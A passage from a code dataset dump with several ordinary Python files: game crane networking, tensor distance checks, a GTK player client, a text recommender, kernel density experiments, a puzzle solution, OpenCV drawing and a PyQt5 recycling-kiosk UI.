base.cr.doId2do[bossCogId]\n\n \n def setIndex(self, index):\n self.index = index\n\n \n def setState(self, state, avId):\n if state == 'C':\n self.demand('Controlled', avId)\n elif state == 'F':\n self.demand('Free')\n else:\n self.notify.error('Invalid state from AI: %s' % state)\n\n \n def d_requestControl(self):\n self.sendUpdate('requestControl')\n\n \n def d_requestFree(self):\n self.sendUpdate('requestFree')\n\n \n def b_clearSmoothing(self):\n self.d_clearSmoothing()\n self.clearSmoothing()\n\n \n def d_clearSmoothing(self):\n self.sendUpdate('clearSmoothing', [\n 0])\n\n \n def clearSmoothing(self, bogus = None):\n self.armSmoother.clearPositions(1)\n for smoother in self.linkSmoothers:\n smoother.clearPositions(1)\n \n\n \n def reloadPosition(self):\n self.armSmoother.clearPositions(0)\n self.armSmoother.setPos(self.crane.getPos())\n self.armSmoother.setHpr(self.arm.getHpr())\n self.armSmoother.setPhonyTimestamp()\n for linkNum in range(self.numLinks):\n smoother = self.linkSmoothers[linkNum]\n (an, anp, cnp) = self.activeLinks[linkNum]\n smoother.clearPositions(0)\n smoother.setPos(anp.getPos())\n smoother.setPhonyTimestamp()\n \n\n \n def doSmoothTask(self, task):\n self.armSmoother.computeAndApplySmoothPosHpr(self.crane, self.arm)\n for linkNum in range(self.numLinks):\n smoother = self.linkSmoothers[linkNum]\n anp = self.activeLinks[linkNum][1]\n smoother.computeAndApplySmoothPos(anp)\n \n return Task.cont\n\n \n def startSmooth(self):\n if not self.smoothStarted:\n taskName = self.smoothName\n taskMgr.remove(taskName)\n self.reloadPosition()\n taskMgr.add(self.doSmoothTask, taskName)\n self.smoothStarted = 1\n \n\n \n def stopSmooth(self):\n if self.smoothStarted:\n taskName = self.smoothName\n taskMgr.remove(taskName)\n self.forceToTruePosition()\n self.smoothStarted = 0\n \n\n \n def forceToTruePosition(self):\n if self.armSmoother.getLatestPosition():\n self.armSmoother.applySmoothPos(self.crane)\n self.armSmoother.applySmoothHpr(self.arm)\n \n self.armSmoother.clearPositions(1)\n for linkNum in range(self.numLinks):\n smoother = self.linkSmoothers[linkNum]\n (an, anp, cnp) = self.activeLinks[linkNum]\n if smoother.getLatestPosition():\n smoother.applySmoothPos(anp)\n \n smoother.clearPositions(1)\n \n\n \n def setCablePos(self, changeSeq, y, h, links, timestamp):\n self.changeSeq = changeSeq\n if self.smoothStarted:\n if len(links) > self.numLinks:\n self.notify.warning('Links passed in is greater than total number of links')\n return None\n \n now = globalClock.getFrameTime()\n local = globalClockDelta.networkToLocalTime(timestamp, now)\n self.armSmoother.setY(y)\n self.armSmoother.setH(h)\n self.armSmoother.setTimestamp(local)\n self.armSmoother.markPosition()\n for linkNum in range(self.numLinks):\n smoother = self.linkSmoothers[linkNum]\n lp = links[linkNum]\n smoother.setPos(*lp)\n smoother.setTimestamp(local)\n smoother.markPosition()\n \n else:\n self.crane.setY(y)\n self.arm.setH(h)\n\n \n def d_sendCablePos(self):\n timestamp = globalClockDelta.getFrameNetworkTime()\n links = []\n for linkNum in range(self.numLinks):\n (an, anp, cnp) = self.activeLinks[linkNum]\n p = anp.getPos()\n links.append((p[0], p[1], p[2]))\n \n self.sendUpdate('setCablePos', [\n self.changeSeq,\n self.crane.getY(),\n self.arm.getH(),\n links,\n timestamp])\n\n \n def stopPosHprBroadcast(self):\n taskName = self.posHprBroadcastName\n taskMgr.remove(taskName)\n\n \n def startPosHprBroadcast(self):\n taskName = self.posHprBroadcastName\n self.b_clearSmoothing()\n self.d_sendCablePos()\n taskMgr.remove(taskName)\n taskMgr.doMethodLater(self._DistributedCashbotBossCrane__broadcastPeriod, self._DistributedCashbotBossCrane__posHprBroadcast, taskName)\n\n \n def _DistributedCashbotBossCrane__posHprBroadcast(self, task):\n self.d_sendCablePos()\n taskName = self.posHprBroadcastName\n taskMgr.doMethodLater(self._DistributedCashbotBossCrane__broadcastPeriod, self._DistributedCashbotBossCrane__posHprBroadcast, taskName)\n return Task.done\n\n \n def enterOff(self):\n self.clearCable()\n self.root.detachNode()\n\n \n def exitOff(self):\n if self.boss:\n self.setupCable()\n \n self.root.reparentTo(render)\n\n \n def enterControlled(self, avId):\n self.avId = avId\n toon = base.cr.doId2do.get(avId)\n if not toon:\n return None\n \n self.grabTrack = self.makeToonGrabInterval(toon)\n if avId == localAvatar.doId:\n self.boss.toCraneMode()\n camera.reparentTo(self.hinge)\n camera.setPosHpr(0, -20, -5, 0, -20, 0)\n self.tube.stash()\n localAvatar.setPosHpr(self.controls, 0, 0, 0, 0, 0, 0)\n localAvatar.sendCurrentPosition()\n self._DistributedCashbotBossCrane__activatePhysics()\n self._DistributedCashbotBossCrane__enableControlInterface()\n self.startPosHprBroadcast()\n self.startShadow()\n self.accept('exitCrane', self._DistributedCashbotBossCrane__exitCrane)\n else:\n self.startSmooth()\n toon.stopSmooth()\n self.grabTrack = Sequence(self.grabTrack, Func(toon.startSmooth))\n self.grabTrack.start()\n\n \n def exitControlled(self):\n self.ignore('exitCrane')\n self.grabTrack.finish()\n del self.grabTrack\n if self.toon and not self.toon.isDisabled():\n self.toon.loop('neutral')\n self.toon.startSmooth()\n \n self.stopWatchJoystick()\n self.stopPosHprBroadcast()\n self.stopShadow()\n self.stopSmooth()\n if self.avId == localAvatar.doId:\n self._DistributedCashbotBossCrane__disableControlInterface()\n self._DistributedCashbotBossCrane__deactivatePhysics()\n self.tube.unstash()\n camera.reparentTo(base.localAvatar)\n camera.setPos(base.localAvatar.cameraPositions[0][0])\n camera.setHpr(0, 0, 0)\n if self.cr:\n place = self.cr.playGame.getPlace()\n if place and hasattr(place, 'fsm'):\n if place.fsm.getCurrentState().getName() == 'crane':\n place.setState('finalBattle')\n \n \n \n self.boss.toFinalBattleMode()\n \n self._DistributedCashbotBossCrane__straightenCable()\n\n \n def enterFree(self):\n if self.fadeTrack:\n self.fadeTrack.finish()\n self.fadeTrack = None\n \n self.restoreScaleTrack = Sequence(Wait(6), self.getRestoreScaleInterval())\n self.restoreScaleTrack.start()\n if self.avId == localAvatar.doId:\n self.controlModel.setAlphaScale(0.29999999999999999)\n self.controlModel.setTransparency(1)\n taskMgr.doMethodLater(5, self._DistributedCashbotBossCrane__allowDetect, self.triggerName)\n self.fadeTrack = Sequence(Func(self.controlModel.setTransparency, 1), self.controlModel.colorScaleInterval(0.20000000000000001, VBase4(1, 1, 1, 0.29999999999999999)))\n self.fadeTrack.start()\n else:\n self.trigger.unstash()\n self.accept(self.triggerEvent, self._DistributedCashbotBossCrane__hitTrigger)\n self.avId = 0\n\n \n def _DistributedCashbotBossCrane__allowDetect(self, task):\n if self.fadeTrack:\n self.fadeTrack.finish()\n \n self.fadeTrack = Sequence(self.controlModel.colorScaleInterval(0.20000000000000001, VBase4(1, 1, 1, 1)), Func(self.controlModel.clearColorScale), Func(self.controlModel.clearTransparency))\n self.fadeTrack.start()\n self.trigger.unstash()\n self.accept(self.triggerEvent, self._DistributedCashbotBossCrane__hitTrigger)\n\n \n def exitFree(self):\n if self.fadeTrack:\n self.fadeTrack.finish()\n self.fadeTrack = None\n \n self.restoreScaleTrack.pause()\n del self.restoreScaleTrack\n taskMgr.remove(self.triggerName)\n self.controlModel.clearColorScale()\n self.controlModel.clearTransparency()\n self.trigger.stash()\n self.ignore(self.triggerEvent)\n\n \n def enterMovie(self):\n self._DistributedCashbotBossCrane__activatePhysics()\n\n \n def exitMovie(self):\n self._DistributedCashbotBossCrane__deactivatePhysics()\n self._DistributedCashbotBossCrane__straightenCable()\n\n\n","sub_path":"toontown/coghq/DistributedCashbotBossCrane.py","file_name":"DistributedCashbotBossCrane.py","file_ext":"py","file_size_in_byte":39495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"552284149","text":"import torch as th\n\nN = 9\nD = 512\n\nembs = th.rand(N, D)\n\npdistA = (embs.view(N, 1, D).expand(N, N, D)\n - embs.view(1, N, D).expand(N, N, D)).norm(2, dim=2)\nprint(pdistA)\n\nprod = th.mm(embs, embs.t())\nnorm = prod.diag().unsqueeze(1).expand_as(prod)\npdist = (norm + norm.t() - 2 * prod).sqrt()\nprint(pdist)\n\n# we can use th.cdist / th.pdist\n\nprint((pdistA - pdist).abs().sum())\n","sub_path":"tools/eucdist.py","file_name":"eucdist.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"351650097","text":"import gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, Gdk\nfrom gi.repository import Pango as pango\nimport time\nimport threading\nimport logger as log\nimport socket\nimport sys\n\n# define variable\n# ---------------\nTCP_IP = 'localhost'\nTCP_PORT = 55123\nBUFFER_SIZE = 4096\n\n# definition des class\n# --------------------\n\n# class thread to receive data\nclass Receive(threading.Thread):\n\n def __init__(self):\n threading.Thread.__init__(self)\n\n def run(self):\n log.info('[gtk_ihm] start thread receiver')\n while 1:\n msgr = socket_autopy.recv(BUFFER_SIZE)\n msgr = msgr.decode('UTF-8')\n log.info('[gtk_ihm] receive from autopy '+msgr)\n if (msgr == \"END\"):\n return\n else:\n print(\"\\nPartner:\"+msgr+\"\\n\")\n\n# class thread to send data\n#class Send(threading.Thread):\n#\n# def __init__(self):\n# threading.Thread.__init__(self)\n#\n# def run(self):\n# while 1:\n# msgs = input(\"\\nYou:\")\n# msgs = msgs.encode('UTF-8')\n# socket.send(msgs)\n# msgs = \"\"\n#\n# def message(self, msg):\n# while 1:\n# self.msgs = msg\n# self.msgs = self.msgs.encode('UTF-8')\n# socket.send(self.msgs)\n# self.msgs = \"\"\n\n# create main windows\n# -------------------\nclass main_windows(threading.Thread):\n \n def __init__(self):\n \n threading.Thread.__init__(self)\n \n # connexion to socket server\n global socket_autopy\n socket_autopy = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n socket_autopy.connect((TCP_IP, TCP_PORT))\n \n self.action = 'PLAY'\n self.send('PLAY')\n \n self.Receive_thread = Receive()\n self.Receive_thread.start()\n \n except Exception as ex:\n log.exception('[gtk_ihm] Erreur de connexion :')\n #log.info(ex)\n sys.exit()\n log.info('[gtk_ihm] Vous êtes connecté au serveur')\n \n def run(self):\n \n Gtk.rc_parse(\"/usr/share/themes/Small/gtk-2.0/gtkrc\")\n \n # create main windows\n # -------------------\n log.info('[gtk_ihm] start IHM')\n self.win = Gtk.Window()\n self.win.connect(\"destroy\", Gtk.main_quit)\n\n self.win.set_size_request(1024, 600)\n self.win.set_resizable(False)\n\n # GRID PRINC - create principale grid (1 col, 2 line)\n # --------------------------------------------------\n self.grid_princ = Gtk.Grid()\n self.win.add(self.grid_princ)\n\n # display grid status\n self.disp_grid_status()\n self.grid_princ.attach(self.grid_status, 1, 1, 1, 1)\n\n # NOTEBOOK PRINC - create notebook principale\n self.notebook_princ = Gtk.Notebook()\n self.notebook_princ.set_tab_pos(Gtk.PositionType.LEFT)\n self.grid_princ.attach(self.notebook_princ, 1, 2, 1, 1)\n\n # NOTEBOOK_PRINC - grid multimedia page\n self.grid_multimedia = Gtk.Grid()\n self.grid_multimedia.set_name('grid_multimedia')\n self.notebook_princ.append_page(\n self.grid_multimedia,\n Gtk.Image.new_from_file(\"icons/multimedia.70.png\")\n )\n \n # display fixed player\n self.disp_fixed_player()\n \n # GRID submenu multimedia\n self.grid_sub_multimedia = Gtk.Grid()\n self.grid_sub_multimedia.set_name('grid_sub_multimedia')\n self.grid_multimedia.attach(self.grid_sub_multimedia, 1, 2, 1, 1)\n \n # exit button\n self.but_off = Gtk.Button()\n self.icon_off = Gtk.Image.new_from_file(\"icons/off.50.png\")\n self.but_off.set_image(self.icon_off)\n self.but_off.connect(\"clicked\", self.button_click)\n self.grid_sub_multimedia.attach(self.but_off, 1, 2, 1, 1)\n \n for self.x in range(2,18):\n self.label = Gtk.Label()\n self.label.set_size_request(50,50)\n self.grid_sub_multimedia.attach(self.label, self.x, 2, 1, 1)\n \n # create buttons multimedia\n #for self.y in range(1,11):\n # self.label = Gtk.Label()\n # self.label.set_size_request(50,50)\n # self.grid_multimedia.attach(self.label, 1, self.y, 1, 1)\n #for self.x in range(1,19):\n \n # insert music button\n # if self.x == 3:\n # self.icon_music = Gtk.Image.new_from_file(\"icons/music.50.png\")\n # self.button = Gtk.Button()\n # self.button.set_image(self.icon_music)\n # self.button.set_relief(Gtk.ReliefStyle.NONE)\n # self.grid_multimedia.attach(self.button, 3, 10, 1, 1)\n # else:\n # self.label = Gtk.Label(\"\")\n # self.label.set_size_request(50,50)\n # self.grid_multimedia.attach(self.label, self.x, 10, 1, 1)\n \n #self.page1 = Gtk.Box()\n #self.page1.set_border_width(20)\n #self.page1.add(Gtk.Label('Default Page!'))\n\n #self.label_cover = Gtk.Image.new_from_file(\"cove/Blur.The_Great_Escape.200x200.png\")\n\n #self.notebook_multimedia.append_page(\n # self.page1,\n # #self.notebook_multimedia,\n # Gtk.Image.new_from_file(\"icons/music.50.png\")\n #)\n\n # NOTEBOOK_PRINC - setting page\n self.page2 = Gtk.Box()\n #self.page2.set_border_width(10)\n self.frame_test = Gtk.Label()\n self.frame_test.set_size_request(300,10)\n \n self.page2.add(self.frame_test)\n self.notebook_princ.append_page(\n self.page2,\n Gtk.Image.new_from_file(\"icons/setting.70.png\"\n )\n )\n\n # import css style\n # ----------------\n style_provider = Gtk.CssProvider()\n #style_provider.load_from_data(self.css)\n style_provider.load_from_path (\"gtk_ihm.css\");\n Gtk.StyleContext.add_provider_for_screen(\n Gdk.Screen.get_default(),\n style_provider,\n Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION\n )\n\n self.thread_time = threading.Thread(target=self.affichetemps)\n self.thread_time.setDaemon(True)\n self.thread_time.start()\n\n self.win.show_all()\n Gtk.main()\n\n # GRID STATUS\n def disp_grid_status(self):\n\n # GRID STATUS - create grid status with \"label\" for each state\n self.grid_status = Gtk.Grid()\n self.grid_status.set_name('grid_status')\n\n for self.y in range(1,3): \n self.label_status = Gtk.Label(label=\"\")\n self.label_status.set_size_request(40,40)\n self.grid_status.attach(self.label_status, 1, self.y, 1, 1) \n for self.x in range(2,20):\n self.label_status = Gtk.Label(label=\"\")\n self.label_status.set_size_request(40,40)\n self.grid_status.attach(self.label_status, self.x, 2, 1, 1)\n \n self.label_date = Gtk.Label('date')\n self.grid_status.attach(self.label_date, 21, 1, 5, 1)\n self.label_time = Gtk.Label('time')\n self.grid_status.attach(self.label_time, 21, 2, 5, 1)\n\n # FIXED player\n def disp_fixed_player(self):\n \n self.fixed_player = Gtk.Fixed()\n self.grid_multimedia.attach(self.fixed_player, 1, 1, 17, 1)\n \n # create image cover\n self.img_cover = Gtk.Image.new_from_file(\"cover/Blur.The_Great_Escape.200x200.gif\")\n self.fixed_player.put(self.img_cover, 700, 10)\n\n # create label title\n self.title = 'The cost is always The cost is always The cost is'\n self.label_title = Gtk.Label()\n self.label_title.set_size_request(680,100)\n #self.label_title.set_ellipsize(pango.EllipsizeMode.END)\n self.label_title.set_line_wrap(True)\n self.label_title.set_justify(Gtk.Justification.CENTER)\n self.label_title.set_text(self.title)\n self.label_title.set_name('label_title')\n self.fixed_player.put(self.label_title, 10, 20)\n \n # create play pause button\n self.but_play = Gtk.Button()\n self.icon_play = Gtk.Image.new_from_file(\"icons/pause.50.png\")\n self.but_play.set_image(self.icon_play)\n self.but_play.connect(\"clicked\", self.button_click)\n self.fixed_player.put(self.but_play, 10, 370)\n \n # create stop button\n self.but_stop = Gtk.Button()\n self.icon_stop = Gtk.Image.new_from_file(\"icons/stop.50.png\")\n self.but_stop.set_image(self.icon_stop)\n self.but_stop.connect(\"clicked\", self.button_click)\n self.fixed_player.put(self.but_stop, 75, 370)\n \n # create next button\n self.but_next = Gtk.Button()\n self.icon_next = Gtk.Image.new_from_file(\"icons/next.50.png\")\n self.but_next.set_image(self.icon_next)\n self.but_next.connect(\"clicked\", self.button_click)\n self.fixed_player.put(self.but_next, 140, 370)\n \n # create size label\n self.label_size = Gtk.Label()\n self.label_size.set_size_request(1,450)\n self.fixed_player.put(self.label_size, 1, 1)\n\n # display time\n def affichetemps(self):\n \n log.debug('[gtk_ihm] start thread time')\n \n while True:\n date = time.strftime('%d %b %Y',time.localtime())\n hour = time.strftime('%H:%M:%S',time.localtime())\n #self.lab_time.config(text=date)\n self.label_date.set_text(date)\n self.label_time.set_text(hour)\n time.sleep(0.5) \n \n def send(self, msg):\n\n self.msg = msg\n self.log = '[gtk_ihm] send message to server socket : ' + self.msg\n log.info(self.log)\n\n self.msg = self.msg.encode('UTF-8')\n socket_autopy.send(self.msg)\n self.msg = \"\"\n \n def button_click(self, button):\n \n # clicked button play / pause\n if button == self.but_play:\n if self.action == 'STOP' or self.action == 'PAUSE':\n self.send('PLAY')\n self.icon_play = Gtk.Image.new_from_file(\"icons/pause.50.png\")\n self.but_play.set_image(self.icon_play)\n self.action = 'PLAY'\n return\n \n if self.action == 'PLAY':\n self.send('PAUSE')\n self.icon_play = Gtk.Image.new_from_file(\"icons/play.50.png\")\n self.but_play.set_image(self.icon_play)\n self.action = 'PAUSE'\n return\n\n # clicked button stop \n if button == self.but_stop:\n self.action = 'STOP'\n self.icon_play = Gtk.Image.new_from_file(\"icons/play.50.png\")\n self.but_play.set_image(self.icon_play)\n self.send('STOP')\n \n # clicked button next \n if button == self.but_next:\n self.send('NEXT')\n \n # clicked button exit\n if button == self.but_off:\n self.send('END')\n socket_autopy.close()\n Gtk.main_quit()","sub_path":"gtk_ihm.py","file_name":"gtk_ihm.py","file_ext":"py","file_size_in_byte":11116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"298620009","text":"import sys\nimport pandas as pd\nfrom sklearn.metrics.pairwise import linear_kernel\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport json\n\ndf = pd.read_csv(\"./python/new_data.csv\")\n\ntfidf = TfidfVectorizer(stop_words='english')\n\n#Replace NaN with an empty string\ndf['text'] = df['text'].fillna('')\n\n#Construct the required TF-IDF matrix by fitting and transforming the data\ntfidf_matrix = tfidf.fit_transform(df['text'])\n\n#Output the shape of tfidf_matrix\ntfidf_matrix.shape\n\n# Compute the cosine similarity matrix\ncosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\n\n#Construct a reverse map of indices and movie titles\nindices = pd.Series(df.index, index=df['title']).drop_duplicates()\n\n# Function that takes in movie title as input and outputs most similar movies\ndef get_recommendations(title, cosine_sim=cosine_sim):\n # Get the index of the movie that matches the title\n idx = indices[title]\n\n # Get the pairwsie similarity scores of all movies with that movie\n sim_scores = list(enumerate(cosine_sim[idx]))\n\n # Sort the movies based on the similarity scores\n sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\n\n # Get the scores of the 10 most similar movies\n sim_scores = sim_scores[1:11]\n\n # Get the movie indices\n movie_indices = [i[0] for i in sim_scores]\n\n # Return the top 10 most similar movies\n # return[df['title'].iloc[movie_indices],df['link'].iloc[movie_indices]]\n return df[['title', 'link']].iloc[movie_indices]\n \nx = get_recommendations(sys.argv[1])\nresult = x.to_json(\"out.json\",orient=\"records\")\nprint(\"Done\")\n\n\n\n","sub_path":"server/python/wt_project.py","file_name":"wt_project.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"511422209","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 17 17:04:07 2017\n\n@author: Administrator\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.neighbors import KernelDensity\nimport sklearn.mixture\nfrom scipy import stats\n\n\ndef kde(path, column):\n \n print('############ Adopt scipy kde #############')\n \n raw_data = pd.read_csv(path, sep='\\t', names=['ip', 'session', 'url'])\n #raw_data = np.loadtxt(path, delimiter='\\t'); \n np.random.seed()\n \n data = raw_data.groupby('ip')['url'].sum()\n #print(data[0])\n #print(xmax, xmin)\n #X = data[:,np.newaxis]\n\n #kernel = stats.gaussian_kde(data)\n \n X = data[:, np.newaxis]\n kernel = KernelDensity(kernel='gaussian', bandwidth=0.6).fit(X)\n \n return kernel\n\ndef visual(path):\n \n print('############ visual #############')\n \n raw_data = pd.read_csv(path, sep='\\t', names=['ip', 'session', 'url'])\n data = raw_data.groupby('ip')['url'].sum()\n \n print(data.describe())\n \n #raw_data = np.loadtxt(path, delimiter='\\t'); \n np.random.seed(1)\n \n xmax = max(data)\n xmax = 50\n xmin = min(data)\n #print(xmax, xmin)\n X = data[:,np.newaxis]\n #print(X.shape)\n X_plot = np.linspace(xmin, xmax, 100)[:, np.newaxis]\n\n fig, ax = plt.subplots(figsize=(10,10))\n \n \n #################################################\n ### use sklearn tool to do KDE estimation\n for kernel in ['gaussian']:\n kde = KernelDensity(kernel=kernel, bandwidth=0.6).fit(X)\n log_dens = kde.score_samples(X_plot)\n ax.plot(X_plot[:, 0], np.exp(log_dens), '-',\n label=\"kernel = sklearn '{0}'\".format(kernel), markersize=2)\n \n ax.text(40, 0.005, \"N={0} points\".format(X.shape[0]))\n \n ax.legend(loc='upper left')\n ax.plot(X[:, 0], '+k')\n \n ax.set_xlim(xmin, xmax)\n ax.set_ylim(-0.001, 0.2)\n plt.show()\n \n \n #################################################\n ### use scipy tool to do KDE estimation\n ### not as good as sklearn\n kernel = stats.gaussian_kde(X[:, 0])\n #X_plot = np.linspace(xmin, 200, 100)[:, np.newaxis]\n pdf = kernel.evaluate(X_plot[:,0])\n fig = plt.figure(figsize=(10,10))\n ax = fig.add_subplot(111)\n ax.plot(X_plot[:,0], pdf, '-', label=\"kernel = scipy gaussian\", markersize=2)\n ax.text(40, 0.0012, \"N={0} points\".format(X.shape[0]))\n ax.legend(loc='upper left')\n ax.set_xlim([xmin, xmax])\n plt.show()\n\ndef gmm(path, column):\n \n print('############ GMM #############')\n \n raw_data = pd.read_csv(path, sep='\\t', names=['ip', 'session', 'url'])\n data = raw_data.groupby('ip')['url'].sum()\n np.random.seed(1)\n \n xmax = max(data)\n xmax = 50\n xmin = min(data)\n #print(xmax, xmin)\n X = data[:,np.newaxis]\n #print(X.shape)\n X_plot = np.linspace(xmin, xmax, 100).reshape(-1,1)\n #print(X_plot.shape)\n \n #fig = plt.figure(figsize=(10,10))\n #ax = fig.add_subplot(111)\n \n fig, ax = plt.subplots(figsize=(10,10))\n \n ncomponents = [1, 2, 6, 8]\n \n for n in ncomponents:\n \n gmm = sklearn.mixture.GaussianMixture(n_components=n) \n \n r = gmm.fit(X)\n \n pdf = r.score_samples(X_plot)\n pdf = np.exp(pdf)\n \n #ax.imshow((1,1), cmap=plt.cm.gist_earth_r,extent=[xmin, xmax])\n #ax.plot(X_plot[:,0], pdf, 'k.', label=\"GMM, 4 components\", markersize=2)\n ax.plot(X_plot[:,0], pdf, '-', label=\"GMM, {0} components\".format(n), markersize=2)\n \n ax.text(40, 0.025, \"N={0} points\".format(X.shape[0]))\n ax.legend(loc='upper left')\n ax.set_xlim([xmin, xmax])\n ax.set_ylim(-0.001, 0.2)\n plt.show()\n ###############################################\n\ndef predict(kernel): \n \n #v = int((np.sum(kernel.sample(10)) / 10))\n v = int(kernel.sample(1))\n #print(v)\n \n if v < 1:\n v = 1\n \n return v\n \nif __name__ == '__main__':\n kernel = kde(\"ip_session.data\", 2)\n \n for i in range(10):\n print(\"Predict: \" + str(predict(kernel)))\n #gmm(\"ip_session.data\", 2)\n #visual(\"ip_session.data\")","sub_path":"src/predict_ip_info/ip_url_kde.py","file_name":"ip_url_kde.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"619098090","text":"def score(ingredients):\n capacity = sum(ingredient[0] * ingredient[1][0] for ingredient in ingredients)\n durability = sum(ingredient[0] * ingredient[1][1] for ingredient in ingredients)\n flavour = sum(ingredient[0] * ingredient[1][2] for ingredient in ingredients)\n texture = sum(ingredient[0] * ingredient[1][3] for ingredient in ingredients)\n\n return max(0, capacity) * max(0, durability) * max(0, flavour) * max(0, texture)\n\ndef solve(lines, amount):\n ingredients = []\n\n for line in lines:\n ls = line.split()\n ingredients.append((int(ls[2][:-1]), int(ls[4][:-1]), int(ls[6][:-1]), int(ls[8][:-1]), int(ls[10])))\n\n best = 0\n\n for a in range(amount):\n for b in range(amount - a):\n for c in range(amount - a - b):\n d = amount - a - b - c\n value = score([[a, ingredients[0]], [b, ingredients[1]], [c, ingredients[2]], [d, ingredients[3]]])\n best = max(best, value)\n\n return best\n\nwith open('input_15.txt', 'r') as f:\n print(solve(f.readlines(), 100))","sub_path":"15a.py","file_name":"15a.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"502816992","text":"import cv2\nimport numpy as np\ndef mouse_event(event,x,y,flags,param):\n if event == cv2.EVENT_LBUTTONDOWN:\n cv2.circle(img,(x,y),10,(0,0,255),-1)\n points.append((x,y))\n print(points)\n if len(points) >= 2:\n cv2.line(img,points[-1],points[-2],(255,255,0),1)\n cv2.imshow(\"image\",img)\n\nimg = np.zeros((512,512,3),np.uint8)\ncv2.imshow(\"image\",img)\npoints = []\ncv2.setMouseCallback(\"image\",mouse_event)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"mouse_events1.py","file_name":"mouse_events1.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"604061505","text":"# coding:utf-8\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nimport sys\nimport qtawesome\nimport serial\nimport json\nimport requests\nimport createImage\nimport datetime\nimport paho.mqtt.publish as publish\nimport time\nimport paho.mqtt.client as mqtt\nimport requests.packages.urllib3.util.ssl_\n\nrequests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = 'ALL'\n\nglobal LOGIN_SIGN\nglobal USER_ID\nglobal TOKEN\nglobal USER_NAME\nLOGIN_SIGN = False\nUSER_ID = \"\"\nTOKEN = \"\"\nUSER_NAME = \"\"\nDeviceId = \"001\"\nHOST = \"www.yikeni.com\"\nPORT = 1883\n\n\n# ser=serial.Serial(\"/dev/ttyUSB0\",115200,timeout=0.5)\n\nclass MainUi(QtWidgets.QMainWindow):\n def __init__(self):\n super().__init__()\n self.init_ui()\n self.use_palette()\n\n def init_ui(self):\n self.main_widget = QtWidgets.QWidget() # 创建窗口主部件\n self.main_layout = QtWidgets.QGridLayout() # 创建主部件的网格布局\n self.main_widget.setLayout(self.main_layout) # 设置窗口主部件布局为网格布局\n\n self.left_widget = QtWidgets.QWidget() # 创建左侧部件\n self.left_widget.setObjectName('left_widget')\n self.left_layout = QtWidgets.QGridLayout() # 创建左侧部件的网格布局层\n self.left_widget.setLayout(self.left_layout) # 设置左侧部件布局为网格\n\n self.right_widget = QtWidgets.QWidget() # 创建右侧部件\n self.right_widget.setObjectName('right_widget')\n self.right_layout = QtWidgets.QGridLayout()\n self.right_widget.setLayout(self.right_layout) # 设置右侧部件布局为网格\n\n # self.main_layout.addWidget(self.left_widget,0,0,12,2) # 左侧部件在第0行第0列,占8行3列\n self.main_layout.addWidget(self.right_widget, 0, 0, 12, 12) # 右侧部件在第0行第3列,占8行9列\n self.setCentralWidget(self.main_widget) # 设置窗口主部件\n\n self.right_bar_widget = QtWidgets.QWidget() # 右侧顶部搜索框部件\n self.right_bar_layout = QtWidgets.QGridLayout() # 右侧顶部搜索框网格布局\n self.right_bar_widget.setLayout(self.right_bar_layout)\n\n self.right_recommend_label = QtWidgets.QLabel(self)\n jpg = QtGui.QPixmap('title.jpg')\n self.right_recommend_label.setPixmap(jpg)\n self.right_recommend_label.setAlignment(QtCore.Qt.AlignCenter)\n\n self.right_layout.addWidget(self.right_recommend_label, 1, 0, 1, 9)\n\n self.right_recommend_widget = QtWidgets.QWidget() # 推荐封面部件\n self.right_recommend_layout = QtWidgets.QGridLayout() # 推荐封面网格布局\n self.right_recommend_widget.setLayout(self.right_recommend_layout)\n\n self.recommend_button_1 = QtWidgets.QToolButton()\n self.recommend_button_1.setText(\"视频介绍\") # 设置按钮文本\n self.recommend_button_1.setIcon(QtGui.QIcon('1.jpg')) # 设置按钮图标\n self.recommend_button_1.setIconSize(QtCore.QSize(300, 300)) # 设置图标大小\n self.recommend_button_1.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon) # 设置按钮形式为上图下文\n\n self.recommend_button_2 = QtWidgets.QToolButton()\n self.recommend_button_2.setText(\"垃圾回收\")\n self.recommend_button_2.setIcon(QtGui.QIcon('2.jpg'))\n self.recommend_button_2.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_2.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n\n self.recommend_button_3 = QtWidgets.QToolButton()\n self.recommend_button_3.setText(\"关于我们\")\n self.recommend_button_3.setIcon(QtGui.QIcon('3.jpg'))\n self.recommend_button_3.setIconSize(QtCore.QSize(300, 300))\n self.recommend_button_3.setToolButtonStyle(QtCore.Qt.ToolButtonTextUnderIcon)\n\n self.right_recommend_layout.addWidget(self.recommend_button_1, 0, 0)\n self.right_recommend_layout.addWidget(self.recommend_button_2, 0, 1)\n self.right_recommend_layout.addWidget(self.recommend_button_3, 0, 2)\n\n # self.right_layout.addWidget(self.right_recommend_label, 1, 0, 1, 9)\n self.right_layout.addWidget(self.right_recommend_widget, 2, 0, 2, 9)\n\n self.recommend_button_2.clicked.connect(self.showLoginDialog)\n\n self.right_widget.setStyleSheet('''\n QWidget#right_widget{\n color:#232C51;\n background:white;\n border-top:1px solid darkGray;\n border-bottom:1px solid darkGray;\n border-right:1px 